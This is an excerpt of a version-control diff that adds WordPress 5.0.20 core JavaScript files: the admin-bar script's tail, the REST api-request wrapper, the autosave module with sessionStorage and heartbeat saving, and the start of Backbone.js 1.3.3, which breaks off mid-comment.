+			while ( t && t != aB && t != d ) {
+				if ( 'LI' == t.nodeName.toUpperCase() ) {
+					ancestors[ ancestors.length ] = t;
+					id = getTOID(t);
+					if ( id )
+						clearTimeout( id );
+					t.className = t.className ? ( t.className.replace(hc, '') + ' hover' ) : 'hover';
+					hovering = t;
+				}
+				t = t.parentNode;
+			}
+
+			// Remove any selected classes.
+			if ( hovering && hovering.parentNode ) {
+				ul = hovering.parentNode;
+				if ( ul && 'UL' == ul.nodeName.toUpperCase() ) {
+					i = ul.childNodes.length;
+					while ( i-- ) {
+						li = ul.childNodes[i];
+						if ( li != hovering )
+							li.className = li.className ? li.className.replace( rselected, '' ) : '';
+					}
+				}
+			}
+
+			/* remove the hover class for any objects not in the immediate element's ancestry */
+			i = q.length;
+			while ( i-- ) {
+				inA = false;
+				ancestorLength = ancestors.length;
+				while( ancestorLength-- ) {
+					if ( ancestors[ ancestorLength ] == q[i][1] )
+						inA = true;
+				}
+
+				if ( ! inA )
+					q[i][1].className = q[i][1].className ? q[i][1].className.replace(hc, '') : '';
+			}
+		},
+
+		removeHoverClass = function(t) {
+			while ( t && t != aB && t != d ) {
+				if ( 'LI' == t.nodeName.toUpperCase() ) {
+					(function(t) {
+						var to = setTimeout(function() {
+							t.className = t.className ? t.className.replace(hc, '') : '';
+						}, 500);
+						q[q.length] = [to, t];
+					})(t);
+				}
+				t = t.parentNode;
+			}
+		},
+
+		clickShortlink = function(e) {
+			var i, l, node,
+				t = e.target || e.srcElement;
+
+			// Make t the shortlink menu item, or return.
+			while ( true ) {
+				// Check if we've gone past the shortlink node,
+				// or if the user is clicking on the input.
+				if ( ! t || t == d || t == aB )
+					return;
+				// Check if we've found the shortlink node.
+				if ( t.id && t.id == 'wp-admin-bar-get-shortlink' )
+					break;
+				t = t.parentNode;
+			}
+
+			// IE doesn't support preventDefault, and does support returnValue
+			if ( e.preventDefault )
+				e.preventDefault();
+			e.returnValue = false;
+
+			if ( -1 == t.className.indexOf('selected') )
+				t.className += ' selected';
+
+			for ( i = 0, l = t.childNodes.length; i < l; i++ ) {
+				node = t.childNodes[i];
+				if ( node.className && -1 != node.className.indexOf('shortlink-input') ) {
+					node.focus();
+					node.select();
+					node.onblur = function() {
+						t.className = t.className ? t.className.replace( rselected, '' ) : '';
+					};
+					break;
+				}
+			}
+			return false;
+		},
+
+		scrollToTop = function(t) {
+			var distance, speed, step, steps, timer, speed_step;
+
+			// Ensure that the #wpadminbar was the target of the click.
+			if ( t.id != 'wpadminbar' && t.id != 'wp-admin-bar-top-secondary' )
+				return;
+
+			distance    = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop || 0;
+
+			if ( distance < 1 )
+				return;
+
+			speed_step = distance > 800 ? 130 : 100;
+			speed     = Math.min( 12, Math.round( distance / speed_step ) );
+			step      = distance > 800 ? Math.round( distance / 30  ) : Math.round( distance / 20  );
+			steps     = [];
+			timer     = 0;
+
+			// Animate scrolling to the top of the page by generating steps to
+			// the top of the page and shifting to each step at a set interval.
+			while ( distance ) {
+				distance -= step;
+				if ( distance < 0 )
+					distance = 0;
+				steps.push( distance );
+
+				setTimeout( function() {
+					window.scrollTo( 0, steps.shift() );
+				}, timer * speed );
+
+				timer++;
+			}
+		};
+
+		addEvent(w, 'load', function() {
+			aB = d.getElementById('wpadminbar');
+
+			if ( d.body && aB ) {
+				d.body.appendChild( aB );
+
+				if ( aB.className )
+					aB.className = aB.className.replace(/nojs/, '');
+
+				addEvent(aB, 'mouseover', function(e) {
+					addHoverClass( e.target || e.srcElement );
+				});
+
+				addEvent(aB, 'mouseout', function(e) {
+					removeHoverClass( e.target || e.srcElement );
+				});
+
+				addEvent(aB, 'click', clickShortlink );
+
+				addEvent(aB, 'click', function(e) {
+					scrollToTop( e.target || e.srcElement );
+				});
+
+				addEvent( document.getElementById('wp-admin-bar-logout'), 'click', function() {
+					if ( 'sessionStorage' in window ) {
+						try {
+							for ( var key in sessionStorage ) {
+								if ( key.indexOf('wp-autosave-') != -1 )
+									sessionStorage.removeItem(key);
+							}
+						} catch(e) {}
+					}
+				});
+			}
+
+			if ( w.location.hash )
+				w.scrollBy(0,-32);
+
+			if ( navigator.userAgent && document.body.className.indexOf( 'no-font-face' ) === -1 &&
+				/Android (1.0|1.1|1.5|1.6|2.0|2.1)|Nokia|Opera Mini|w(eb)?OSBrowser|webOS|UCWEB|Windows Phone OS 7|XBLWP7|ZuneWP7|MSIE 7/.test( navigator.userAgent ) ) {
+
+				document.body.className += ' no-font-face';
+			}
+		});
+	})(document, window);
+
+}
Index: /tags/5.0.20/src/wp-includes/js/api-request.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/api-request.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/api-request.js	(revision 56912)
@@ -0,0 +1,96 @@
+/**
+ * Thin jQuery.ajax wrapper for WP REST API requests.
+ *
+ * Currently only applies to requests that do not use the `wp-api.js` Backbone
+ * client library, though this may change.  Serves several purposes:
+ *
+ * - Allows overriding these requests as needed by customized WP installations.
+ * - Sends the REST API nonce as a request header.
+ * - Allows specifying only an endpoint namespace/path instead of a full URL.
+ *
+ * @since     4.9.0
+ */
+
+( function( $ ) {
+	var wpApiSettings = window.wpApiSettings;
+
+	function apiRequest( options ) {
+		options = apiRequest.buildAjaxOptions( options );
+		return apiRequest.transport( options );
+	}
+
+	apiRequest.buildAjaxOptions = function( options ) {
+		var url = options.url;
+		var path = options.path;
+		var namespaceTrimmed, endpointTrimmed, apiRoot;
+		var headers, addNonceHeader, headerName;
+
+		if (
+			typeof options.namespace === 'string' &&
+			typeof options.endpoint === 'string'
+		) {
+			namespaceTrimmed = options.namespace.replace( /^\/|\/$/g, '' );
+			endpointTrimmed = options.endpoint.replace( /^\//, '' );
+			if ( endpointTrimmed ) {
+				path = namespaceTrimmed + '/' + endpointTrimmed;
+			} else {
+				path = namespaceTrimmed;
+			}
+		}
+		if ( typeof path === 'string' ) {
+			apiRoot = wpApiSettings.root;
+			path = path.replace( /^\//, '' );
+
+			// API root may already include query parameter prefix if site is
+			// configured to use plain permalinks.
+			if ( 'string' === typeof apiRoot && -1 !== apiRoot.indexOf( '?' ) ) {
+				path = path.replace( '?', '&' );
+			}
+
+			url = apiRoot + path;
+		}
+
+		// If ?_wpnonce=... is present, no need to add a nonce header.
+		addNonceHeader = ! ( options.data && options.data._wpnonce );
+
+		headers = options.headers || {};
+
+		// If an 'X-WP-Nonce' header (or any case-insensitive variation
+		// thereof) was specified, no need to add a nonce header.
+		if ( addNonceHeader ) {
+			for ( headerName in headers ) {
+				if ( headers.hasOwnProperty( headerName ) ) {
+					if ( headerName.toLowerCase() === 'x-wp-nonce' ) {
+						addNonceHeader = false;
+						break;
+					}
+				}
+			}
+		}
+
+		if ( addNonceHeader ) {
+			// Do not mutate the original headers object, if any.
+			headers = $.extend( {
+				'X-WP-Nonce': wpApiSettings.nonce
+			}, headers );
+		}
+
+		// Do not mutate the original options object.
+		options = $.extend( {}, options, {
+			headers: headers,
+			url: url
+		} );
+
+		delete options.path;
+		delete options.namespace;
+		delete options.endpoint;
+
+		return options;
+	};
+
+	apiRequest.transport = $.ajax;
+
+	/** @namespace wp */
+	window.wp = window.wp || {};
+	window.wp.apiRequest = apiRequest;
+} )( jQuery );
Index: /tags/5.0.20/src/wp-includes/js/autosave.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/autosave.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/autosave.js	(revision 56912)
@@ -0,0 +1,857 @@
+/* global tinymce, wpCookies, autosaveL10n, switchEditors */
+// Back-compat
+window.autosave = function() {
+	return true;
+};
+
+/**
+ * @summary Adds autosave to the window object on dom ready.
+ *
+ * @since 3.9.0
+ *
+ * @param {jQuery} $ jQuery object.
+ * @param {window} The window object.
+ *
+ */
+( function( $, window ) {
+	/**
+	 * @summary Auto saves the post.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @returns {Object}
+	 * 	{{
+	 * 		getPostData: getPostData,
+	 * 		getCompareString: getCompareString,
+	 * 		disableButtons: disableButtons,
+	 * 		enableButtons: enableButtons,
+	 * 		local: ({hasStorage, getSavedPostData, save, suspend, resume}|*),
+	 * 		server: ({tempBlockSave, triggerSave, postChanged, suspend, resume}|*)}
+	 * 	}
+	 * 	The object with all functions for autosave.
+	 */
+	function autosave() {
+		var initialCompareString,
+			lastTriggerSave = 0,
+			$document = $(document);
+
+		/**
+		 * @summary Returns the data saved in both local and remote autosave.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param {string} type The type of autosave either local or remote.
+		 *
+		 * @returns {Object} Object containing the post data.
+		 */
+		function getPostData( type ) {
+			var post_name, parent_id, data,
+				time = ( new Date() ).getTime(),
+				cats = [],
+				editor = getEditor();
+
+			// Don't run editor.save() more often than every 3 seconds.
+			// It is resource intensive and might slow down typing in long posts on slow devices.
+			if ( editor && editor.isDirty() && ! editor.isHidden() && time - 3000 > lastTriggerSave ) {
+				editor.save();
+				lastTriggerSave = time;
+			}
+
+			data = {
+				post_id: $( '#post_ID' ).val() || 0,
+				post_type: $( '#post_type' ).val() || '',
+				post_author: $( '#post_author' ).val() || '',
+				post_title: $( '#title' ).val() || '',
+				content: $( '#content' ).val() || '',
+				excerpt: $( '#excerpt' ).val() || ''
+			};
+
+			if ( type === 'local' ) {
+				return data;
+			}
+
+			$( 'input[id^="in-category-"]:checked' ).each( function() {
+				cats.push( this.value );
+			});
+			data.catslist = cats.join(',');
+
+			if ( post_name = $( '#post_name' ).val() ) {
+				data.post_name = post_name;
+			}
+
+			if ( parent_id = $( '#parent_id' ).val() ) {
+				data.parent_id = parent_id;
+			}
+
+			if ( $( '#comment_status' ).prop( 'checked' ) ) {
+				data.comment_status = 'open';
+			}
+
+			if ( $( '#ping_status' ).prop( 'checked' ) ) {
+				data.ping_status = 'open';
+			}
+
+			if ( $( '#auto_draft' ).val() === '1' ) {
+				data.auto_draft = '1';
+			}
+
+			return data;
+		}
+
+		/**
+		 * @summary Concatenates the title, content and excerpt.
+		 *
+		 * This is used to track changes when auto-saving.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param {Object} postData The object containing the post data.
+		 *
+		 * @returns {string} A concatenated string with title, content and excerpt.
+		 */
+		function getCompareString( postData ) {
+			if ( typeof postData === 'object' ) {
+				return ( postData.post_title || '' ) + '::' + ( postData.content || '' ) + '::' + ( postData.excerpt || '' );
+			}
+
+			return ( $('#title').val() || '' ) + '::' + ( $('#content').val() || '' ) + '::' + ( $('#excerpt').val() || '' );
+		}
+
+		/**
+		 * @summary Disables save buttons.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @returns {void}
+		 */
+		function disableButtons() {
+			$document.trigger('autosave-disable-buttons');
+
+			// Re-enable 5 sec later. Just gives autosave a head start to avoid collisions.
+			setTimeout( enableButtons, 5000 );
+		}
+
+		/**
+		 * @summary Enables save buttons.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @returns {void}
+		 */
+		function enableButtons() {
+			$document.trigger( 'autosave-enable-buttons' );
+		}
+
+		/**
+		 * @summary Gets the content editor.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @returns {boolean|*} Returns either false if the editor is undefined,
+		 * 						or the instance of the content editor.
+		 */
+		function getEditor() {
+			return typeof tinymce !== 'undefined' && tinymce.get('content');
+		}
+
+		/**
+		 * @summary Autosave in localStorage.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @returns {
+		 * {
+		 * 	hasStorage: *,
+		 * 	getSavedPostData: getSavedPostData,
+		 * 	save: save,
+		 * 	suspend: suspend,
+		 * 	resume: resume
+		 * 	}
+		 * }
+		 * The object with all functions for local storage autosave.
+		 */
+		function autosaveLocal() {
+			var blog_id, post_id, hasStorage, intervalTimer,
+				lastCompareString,
+				isSuspended = false;
+
+			/**
+			 * @summary Checks if the browser supports sessionStorage and it's not disabled.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {boolean} True if the sessionStorage is supported and enabled.
+			 */
+			function checkStorage() {
+				var test = Math.random().toString(),
+					result = false;
+
+				try {
+					window.sessionStorage.setItem( 'wp-test', test );
+					result = window.sessionStorage.getItem( 'wp-test' ) === test;
+					window.sessionStorage.removeItem( 'wp-test' );
+				} catch(e) {}
+
+				hasStorage = result;
+				return result;
+			}
+
+			/**
+			 * @summary Initializes the local storage.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {boolean|Object} False if no sessionStorage in the browser or an Object
+			 *                           containing all postData for this blog.
+			 */
+			function getStorage() {
+				var stored_obj = false;
+				// Separate local storage containers for each blog_id
+				if ( hasStorage && blog_id ) {
+					stored_obj = sessionStorage.getItem( 'wp-autosave-' + blog_id );
+
+					if ( stored_obj ) {
+						stored_obj = JSON.parse( stored_obj );
+					} else {
+						stored_obj = {};
+					}
+				}
+
+				return stored_obj;
+			}
+
+			/**
+			 * @summary Sets the storage for this blog.
+			 *
+			 * Confirms that the data was saved successfully.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {boolean} True if the data was saved successfully, false if it wasn't saved.
+			 */
+			function setStorage( stored_obj ) {
+				var key;
+
+				if ( hasStorage && blog_id ) {
+					key = 'wp-autosave-' + blog_id;
+					sessionStorage.setItem( key, JSON.stringify( stored_obj ) );
+					return sessionStorage.getItem( key ) !== null;
+				}
+
+				return false;
+			}
+
+			/**
+			 * @summary Gets the saved post data for the current post.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {boolean|Object} False if no storage or no data or the postData as an Object.
+			 */
+			function getSavedPostData() {
+				var stored = getStorage();
+
+				if ( ! stored || ! post_id ) {
+					return false;
+				}
+
+				return stored[ 'post_' + post_id ] || false;
+			}
+
+			/**
+			 * @summary Sets (save or delete) post data in the storage.
+			 *
+			 * If stored_data evaluates to 'false' the storage key for the current post will be removed.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @param {Object|boolean|null} stored_data The post data to store or null/false/empty to delete the key.
+			 *
+			 * @returns {boolean} True if data is stored, false if data was removed.
+			 */
+			function setData( stored_data ) {
+				var stored = getStorage();
+
+				if ( ! stored || ! post_id ) {
+					return false;
+				}
+
+				if ( stored_data ) {
+					stored[ 'post_' + post_id ] = stored_data;
+				} else if ( stored.hasOwnProperty( 'post_' + post_id ) ) {
+					delete stored[ 'post_' + post_id ];
+				} else {
+					return false;
+				}
+
+				return setStorage( stored );
+			}
+
+			/**
+			 * @summary Sets isSuspended to true.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {void}
+			 */
+			function suspend() {
+				isSuspended = true;
+			}
+
+			/**
+			 * @summary Sets isSuspended to false.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {void}
+			 */
+			function resume() {
+				isSuspended = false;
+			}
+
+			/**
+			 * @summary Saves post data for the current post.
+			 *
+			 * Runs on a 15 sec. interval, saves when there are differences in the post title or content.
+			 * When the optional data is provided, updates the last saved post data.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @param {Object} data The post data for saving, minimum 'post_title' and 'content'.
+			 *
+			 * @returns {boolean} Returns true when data has been saved, otherwise it returns false.
+			 */
+			function save( data ) {
+				var postData, compareString,
+					result = false;
+
+				if ( isSuspended || ! hasStorage ) {
+					return false;
+				}
+
+				if ( data ) {
+					postData = getSavedPostData() || {};
+					$.extend( postData, data );
+				} else {
+					postData = getPostData('local');
+				}
+
+				compareString = getCompareString( postData );
+
+				if ( typeof lastCompareString === 'undefined' ) {
+					lastCompareString = initialCompareString;
+				}
+
+				// If the content, title and excerpt did not change since the last save, don't save again.
+				if ( compareString === lastCompareString ) {
+					return false;
+				}
+
+				postData.save_time = ( new Date() ).getTime();
+				postData.status = $( '#post_status' ).val() || '';
+				result = setData( postData );
+
+				if ( result ) {
+					lastCompareString = compareString;
+				}
+
+				return result;
+			}
+
+			/**
+			 * @summary Initializes the auto save function.
+			 *
+			 * Checks whether the editor is active or not to use the editor events
+			 * to autosave, or uses the values from the elements to autosave.
+			 *
+			 * Runs on DOM ready.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {void}
+			 */
+			function run() {
+				post_id = $('#post_ID').val() || 0;
+
+				// Check if the local post data is different than the loaded post data.
+				if ( $( '#wp-content-wrap' ).hasClass( 'tmce-active' ) ) {
+
+					// If TinyMCE loads first, check the post 1.5 sec. after it is ready.
+					// By this time the content has been loaded in the editor and 'saved' to the textarea.
+					// This prevents false positives.
+					$document.on( 'tinymce-editor-init.autosave', function() {
+						window.setTimeout( function() {
+							checkPost();
+						}, 1500 );
+					});
+				} else {
+					checkPost();
+				}
+
+				// Save every 15 sec.
+				intervalTimer = window.setInterval( save, 15000 );
+
+				$( 'form#post' ).on( 'submit.autosave-local', function() {
+					var editor = getEditor(),
+						post_id = $('#post_ID').val() || 0;
+
+					if ( editor && ! editor.isHidden() ) {
+
+						// Last onSubmit event in the editor, needs to run after the content has been moved to the textarea.
+						editor.on( 'submit', function() {
+							save({
+								post_title: $( '#title' ).val() || '',
+								content: $( '#content' ).val() || '',
+								excerpt: $( '#excerpt' ).val() || ''
+							});
+						});
+					} else {
+						save({
+							post_title: $( '#title' ).val() || '',
+							content: $( '#content' ).val() || '',
+							excerpt: $( '#excerpt' ).val() || ''
+						});
+					}
+
+					var secure = ( 'https:' === window.location.protocol );
+					wpCookies.set( 'wp-saving-post', post_id + '-check', 24 * 60 * 60, false, false, secure );
+				});
+			}
+
+			/**
+			 * @summary Compares 2 strings.
+			 *
+			 * Removes whitespaces in the strings before comparing them.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @param {string} str1 The first string.
+			 * @param {string} str2 The second string.
+			 * @returns {boolean} True if the strings are the same.
+			 */
+			function compare( str1, str2 ) {
+				function removeSpaces( string ) {
+					return string.toString().replace(/[\x20\t\r\n\f]+/g, '');
+				}
+
+				return ( removeSpaces( str1 || '' ) === removeSpaces( str2 || '' ) );
+			}
+
+			/**
+			 * @summary Checks if the saved data for the current post (if any) is different
+			 * than the loaded post data on the screen.
+			 *
+			 * Shows a standard message letting the user restore the post data if different.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {void}
+			 */
+			function checkPost() {
+				var content, post_title, excerpt, $notice,
+					postData = getSavedPostData(),
+					cookie = wpCookies.get( 'wp-saving-post' ),
+					$newerAutosaveNotice = $( '#has-newer-autosave' ).parent( '.notice' ),
+					$headerEnd = $( '.wp-header-end' );
+
+				if ( cookie === post_id + '-saved' ) {
+					wpCookies.remove( 'wp-saving-post' );
+					// The post was saved properly, remove old data and bail
+					setData( false );
+					return;
+				}
+
+				if ( ! postData ) {
+					return;
+				}
+
+				content = $( '#content' ).val() || '';
+				post_title = $( '#title' ).val() || '';
+				excerpt = $( '#excerpt' ).val() || '';
+
+				if ( compare( content, postData.content ) && compare( post_title, postData.post_title ) &&
+					compare( excerpt, postData.excerpt ) ) {
+
+					return;
+				}
+
+				/*
+				 * If '.wp-header-end' is found, append the notices after it otherwise
+				 * after the first h1 or h2 heading found within the main content.
+				 */
+				if ( ! $headerEnd.length ) {
+					$headerEnd = $( '.wrap h1, .wrap h2' ).first();
+				}
+
+				$notice = $( '#local-storage-notice' )
+					.insertAfter( $headerEnd )
+					.addClass( 'notice-warning' );
+
+				if ( $newerAutosaveNotice.length ) {
+
+					// If there is a "server" autosave notice, hide it.
+					// The data in the session storage is either the same or newer.
+					$newerAutosaveNotice.slideUp( 150, function() {
+						$notice.slideDown( 150 );
+					});
+				} else {
+					$notice.slideDown( 200 );
+				}
+
+				$notice.find( '.restore-backup' ).on( 'click.autosave-local', function() {
+					restorePost( postData );
+					$notice.fadeTo( 250, 0, function() {
+						$notice.slideUp( 150 );
+					});
+				});
+			}
+
+			/**
+			 * @summary Restores the current title, content and excerpt from postData.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @param {Object} postData The object containing all post data.
+			 *
+			 * @returns {boolean} True if the post is restored.
+			 */
+			function restorePost( postData ) {
+				var editor;
+
+				if ( postData ) {
+					// Set the last saved data
+					lastCompareString = getCompareString( postData );
+
+					if ( $( '#title' ).val() !== postData.post_title ) {
+						$( '#title' ).focus().val( postData.post_title || '' );
+					}
+
+					$( '#excerpt' ).val( postData.excerpt || '' );
+					editor = getEditor();
+
+					if ( editor && ! editor.isHidden() && typeof switchEditors !== 'undefined' ) {
+						if ( editor.settings.wpautop && postData.content ) {
+							postData.content = switchEditors.wpautop( postData.content );
+						}
+
+						// Make sure there's an undo level in the editor
+						editor.undoManager.transact( function() {
+							editor.setContent( postData.content || '' );
+							editor.nodeChanged();
+						});
+					} else {
+
+						// Make sure the Text editor is selected
+						$( '#content-html' ).click();
+						$( '#content' ).focus();
+
+						// Using document.execCommand() will let the user undo.
+						document.execCommand( 'selectAll' );
+						document.execCommand( 'insertText', false, postData.content || '' );
+					}
+
+					return true;
+				}
+
+				return false;
+			}
+
+			blog_id = typeof window.autosaveL10n !== 'undefined' && window.autosaveL10n.blog_id;
+
+			// Check if the browser supports sessionStorage and it's not disabled,
+			// then initialize and run checkPost().
+			// Don't run if the post type supports neither 'editor' (textarea#content) nor 'excerpt'.
+			if ( checkStorage() && blog_id && ( $('#content').length || $('#excerpt').length ) ) {
+				$document.ready( run );
+			}
+
+			return {
+				hasStorage: hasStorage,
+				getSavedPostData: getSavedPostData,
+				save: save,
+				suspend: suspend,
+				resume: resume
+			};
+		}
+
+		/**
+		 * @summary Auto saves the post on the server.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @returns {Object} {
+		 * 	{
+		 * 		tempBlockSave: tempBlockSave,
+		 * 		triggerSave: triggerSave,
+		 * 		postChanged: postChanged,
+		 * 		suspend: suspend,
+		 * 		resume: resume
+		 * 		}
+		 * 	} The object all functions for autosave.
+		 */
+		function autosaveServer() {
+			var _blockSave, _blockSaveTimer, previousCompareString, lastCompareString,
+				nextRun = 0,
+				isSuspended = false;
+
+
+			/**
+			 * @summary  Blocks saving for the next 10 seconds.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {void}
+			 */
+			function tempBlockSave() {
+				_blockSave = true;
+				window.clearTimeout( _blockSaveTimer );
+
+				_blockSaveTimer = window.setTimeout( function() {
+					_blockSave = false;
+				}, 10000 );
+			}
+
+			/**
+			 * @summary Sets isSuspended to true.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {void}
+			 */
+			function suspend() {
+				isSuspended = true;
+			}
+
+			/**
+			 * @summary Sets isSuspended to false.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {void}
+			 */
+			function resume() {
+				isSuspended = false;
+			}
+
+			/**
+			 * @summary Triggers the autosave with the post data.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @param {Object} data The post data.
+			 *
+			 * @returns {void}
+			 */
+			function response( data ) {
+				_schedule();
+				_blockSave = false;
+				lastCompareString = previousCompareString;
+				previousCompareString = '';
+
+				$document.trigger( 'after-autosave', [data] );
+				enableButtons();
+
+				if ( data.success ) {
+					// No longer an auto-draft
+					$( '#auto_draft' ).val('');
+				}
+			}
+
+			/**
+			 * @summary Saves immediately.
+			 *
+			 * Resets the timing and tells heartbeat to connect now.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {void}
+			 */
+			function triggerSave() {
+				nextRun = 0;
+				wp.heartbeat.connectNow();
+			}
+
+			/**
+			 * @summary Checks if the post content in the textarea has changed since page load.
+			 *
+			 * This also happens when TinyMCE is active and editor.save() is triggered by
+			 * wp.autosave.getPostData().
+			 *
+			 * @since 3.9.0
+			 *
+			 * @return {boolean} True if the post has been changed.
+			 */
+			function postChanged() {
+				return getCompareString() !== initialCompareString;
+			}
+
+			/**
+			 * @summary Checks if the post can be saved or not.
+			 *
+			 * If the post hasn't changed or it cannot be updated,
+			 * because the autosave is blocked or suspended, the function returns false.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {Object} Returns the post data.
+			 */
+			function save() {
+				var postData, compareString;
+
+				// window.autosave() used for back-compat
+				if ( isSuspended || _blockSave || ! window.autosave() ) {
+					return false;
+				}
+
+				if ( ( new Date() ).getTime() < nextRun ) {
+					return false;
+				}
+
+				postData = getPostData();
+				compareString = getCompareString( postData );
+
+				// First check
+				if ( typeof lastCompareString === 'undefined' ) {
+					lastCompareString = initialCompareString;
+				}
+
+				// No change
+				if ( compareString === lastCompareString ) {
+					return false;
+				}
+
+				previousCompareString = compareString;
+				tempBlockSave();
+				disableButtons();
+
+				$document.trigger( 'wpcountwords', [ postData.content ] )
+					.trigger( 'before-autosave', [ postData ] );
+
+				postData._wpnonce = $( '#_wpnonce' ).val() || '';
+
+				return postData;
+			}
+
+			/**
+			 * @summary Sets the next run, based on the autosave interval.
+			 *
+			 * @private
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {void}
+			 */
+			function _schedule() {
+				nextRun = ( new Date() ).getTime() + ( autosaveL10n.autosaveInterval * 1000 ) || 60000;
+			}
+
+			/**
+			 * @summary Sets the autosaveData on the autosave heartbeat.
+			 *
+			 * @since 3.9.0
+			 *
+			 * @returns {void}
+			 */
+			$document.on( 'heartbeat-send.autosave', function( event, data ) {
+				var autosaveData = save();
+
+				if ( autosaveData ) {
+					data.wp_autosave = autosaveData;
+				}
+
+				/**
+				 * @summary Triggers the autosave of the post with the autosave data
+				 * on the autosave heartbeat.
+				 *
+				 * @since 3.9.0
+				 *
+				 * @returns {void}
+				 */
+			}).on( 'heartbeat-tick.autosave', function( event, data ) {
+				if ( data.wp_autosave ) {
+					response( data.wp_autosave );
+				}
+				/**
+				 * @summary Disables buttons and throws a notice when the connection is lost.
+				 *
+				 * @since 3.9.0
+				 *
+				 * @returns {void}
+				 */
+			}).on( 'heartbeat-connection-lost.autosave', function( event, error, status ) {
+
+				// When connection is lost, keep user from submitting changes.
+				if ( 'timeout' === error || 603 === status ) {
+					var $notice = $('#lost-connection-notice');
+
+					if ( ! wp.autosave.local.hasStorage ) {
+						$notice.find('.hide-if-no-sessionstorage').hide();
+					}
+
+					$notice.show();
+					disableButtons();
+				}
+
+				/**
+				 * @summary Enables buttons when the connection is restored.
+				 *
+				 * @since 3.9.0
+				 *
+				 * @returns {void}
+				 */
+			}).on( 'heartbeat-connection-restored.autosave', function() {
+				$('#lost-connection-notice').hide();
+				enableButtons();
+			}).ready( function() {
+				_schedule();
+			});
+
+			return {
+				tempBlockSave: tempBlockSave,
+				triggerSave: triggerSave,
+				postChanged: postChanged,
+				suspend: suspend,
+				resume: resume
+			};
+		}
+
+		/**
+		 * @summary Sets the autosave time out.
+		 *
+		 * Wait for TinyMCE to initialize plus 1 second. for any external css to finish loading,
+		 * then save to the textarea before setting initialCompareString.
+		 * This avoids any insignificant differences between the initial textarea content and the content
+		 * extracted from the editor.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @returns {void}
+		 */
+		$document.on( 'tinymce-editor-init.autosave', function( event, editor ) {
+			if ( editor.id === 'content' ) {
+				window.setTimeout( function() {
+					editor.save();
+					initialCompareString = getCompareString();
+				}, 1000 );
+			}
+		}).ready( function() {
+
+			// Set the initial compare string in case TinyMCE is not used or not loaded first
+			initialCompareString = getCompareString();
+		});
+
+		return {
+			getPostData: getPostData,
+			getCompareString: getCompareString,
+			disableButtons: disableButtons,
+			enableButtons: enableButtons,
+			local: autosaveLocal(),
+			server: autosaveServer()
+		};
+	}
+
+	/** @namespace wp */
+	window.wp = window.wp || {};
+	window.wp.autosave = autosave();
+
+}( jQuery, window ));
Index: /tags/5.0.20/src/wp-includes/js/backbone.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/backbone.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/backbone.js	(revision 56912)
@@ -0,0 +1,1920 @@
+//     Backbone.js 1.3.3
+
+//     (c) 2010-2016 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
+//     Backbone may be freely distributed under the MIT license.
+//     For all details and documentation:
+//     http://backbonejs.org
+
+(function(factory) {
+
+  // Establish the root object, `window` (`self`) in the browser, or `global` on the server.
+  // We use `self` instead of `window` for `WebWorker` support.
+  var root = (typeof self == 'object' && self.self === self && self) ||
+            (typeof global == 'object' && global.global === global && global);
+
+  // Set up Backbone appropriately for the environment. Start with AMD.
+  if (typeof define === 'function' && define.amd) {
+    define(['underscore', 'jquery', 'exports'], function(_, $, exports) {
+      // Export global even in AMD case in case this script is loaded with
+      // others that may still expect a global Backbone.
+      root.Backbone = factory(root, exports, _, $);
+    });
+
+  // Next for Node.js or CommonJS. jQuery may not be needed as a module.
+  } else if (typeof exports !== 'undefined') {
+    var _ = require('underscore'), $;
+    try { $ = require('jquery'); } catch (e) {}
+    factory(root, exports, _, $);
+
+  // Finally, as a browser global.
+  } else {
+    root.Backbone = factory(root, {}, root._, (root.jQuery || root.Zepto || root.ender || root.$));
+  }
+
+})(function(root, Backbone, _, $) {
+
+  // Initial Setup
+  // -------------
+
+  // Save the previous value of the `Backbone` variable, so that it can be
+  // restored later on, if `noConflict` is used.
+  var previousBackbone = root.Backbone;
+
+  // Create a local reference to a common array method we'll want to use later.
+  var slice = Array.prototype.slice;
+
+  // Current version of the library. Keep in sync with `package.json`.
+  Backbone.VERSION = '1.3.3';
+
+  // For Backbone's purposes, jQuery, Zepto, Ender, or My Library (kidding) owns
+  // the `$` variable.
+  Backbone.$ = $;
+
+  // Runs Backbone.js in *noConflict* mode, returning the `Backbone` variable
+  // to its previous owner. Returns a reference to this Backbone object.
+  Backbone.noConflict = function() {
+    root.Backbone = previousBackbone;
+    return this;
+  };
+
+  // Turn on `emulateHTTP` to support legacy HTTP servers. Setting this option
+  // will fake `"PATCH"`, `"PUT"` and `"DELETE"` requests via the `_method` parameter and
+  // set a `X-Http-Method-Override` header.
+  Backbone.emulateHTTP = false;
+
+  // Turn on `emulateJSON` to support legacy servers that can't deal with direct
